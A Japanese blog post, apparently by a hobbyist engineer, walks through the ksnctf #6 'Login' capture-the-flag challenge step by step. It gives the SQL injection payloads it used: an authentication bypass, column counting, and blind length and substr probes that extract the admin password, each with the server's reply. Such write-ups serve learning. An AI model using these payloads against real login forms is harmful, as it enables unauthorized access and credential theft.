読者です 読者をやめる 読者になる 読者になる

バスケット好きエンジニアの独り言

守口市で活動する小学生バスケットボールクラブのコーチが綴るブログです。

great basketball
with great friends

ksnctf #6 Login WriteUp

ブラインドSQLインジェクション

与えられたURLにアクセスすると、[First, login as "admin".]と挑戦状を叩きつけられる。文脈的に複数ステップ踏まないとflagは取れない雰囲気。まずは、ID/PWにadmin/passwordと入力してみる、、、Login Failed そりゃそうよね。

f:id:grapeBiscuit:20170412074109p:plain


ローカルプロキシで送信しているデータを見るとPOSTでBODYパラメータでidとpassを渡している。
id=admin&pass=password
SQLインジェクションかなぁと思い、定番をインジェクトしてみる。


id=admin'+or+1=1--&pass=password
おぉ!たくさん出てきた!!

f:id:grapeBiscuit:20170412073838p:plain

SQLインジェクションで間違いない

 

さて、パスワード取りに行きますよ^^
よく見ると、クエリー文が表示されている。これは優しい!!
query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
試しにカラムがいくつか調べてみる。
id=admin'+and+1=1+order+by+2--&pass=password
 → Confratulations!
id=admin'+and+1=1+order+by+3--&pass=password
 → Login Failed

カラムの数は2で間違いない。

次はadminパスワードの長さを調べていきます。
id=admin'+and(select+length(pass)+from+user+where+id='admin')+<=1--&pass=password
→ Confratulations!
id=admin'+and(select+length(pass)+from+user+where+id='admin')+<=2--&pass=password
→ Confratulations!
id=admin'+and(select+length(pass)+from+user+where+id='admin')+<=3--&pass=password
→ Confratulations!
と続けていくと、
id=admin'+and(select+length(pass)+from+user+where+id='admin')+<=22--&pass=password
→ Login Failed
でレスポンスが変わります。

adminのパスワード文字数は21で間違いない。

最後に一文字づつパスワードを探ります。
挿入するパラメータはこんな感じ。
id=admin'+and+substr((select+pass+where+id='admin'),1,1)='a'--&pass=password
→ Login Failed
これでadminパスワードの1文字目がaであるか調べられます。
n文字目がXであるか調べるのはこれでいけます。
id=admin'+and+substr((select+pass+where+id='admin'),n,1)='X'--&pass=password

フラッグ形式が[FLAG_hogehoge]と決まっているので、1文字目がFかどうか調べて見ます。
id=admin'+and+substr((select+pass+where+id='admin'),1,1)='F'--&pass=password
→ Confratulations!
おぉ!!!!
やっぱりadminパスワードの1文字目はFで、そのままflagっぽいです。
あとはこれを20回やって21文字のパスワードを当てるだけです^^
手でやるより、コードを書いた方が早そうですね。

#6 Login complete